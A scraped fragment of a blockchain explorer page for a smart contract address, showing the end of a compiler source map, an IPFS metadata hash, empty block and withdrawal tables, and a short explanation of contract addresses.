;16881:195;;;-1:-1:-1;;;;;;;17132:32:1;;;;17127:2;17112:18;;17105:60;-1:-1:-1;;;17196:3:1;17181:19;17174:35;17093:3;16235:980;-1:-1:-1;;;16235:980:1:o

Swarm Source

ipfs://bd484ca23a80e6577e6b17728432937bb780ceb908889e4ca876c6c232468a7b

Block Transaction Difficulty Gas Used Reward
View All Blocks Produced

Block Uncle Number Difficulty Gas Used Reward
View All Uncles
Loading...
Loading
Loading...
Loading

Validator Index Block Amount
View All Withdrawals

Transaction Hash Block Value Eth2 PubKey Valid
View All Deposits
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A contract address hosts a smart contract, which is a set of code stored on the blockchain that runs when predetermined conditions are met. Learn more about addresses in our Knowledge Base.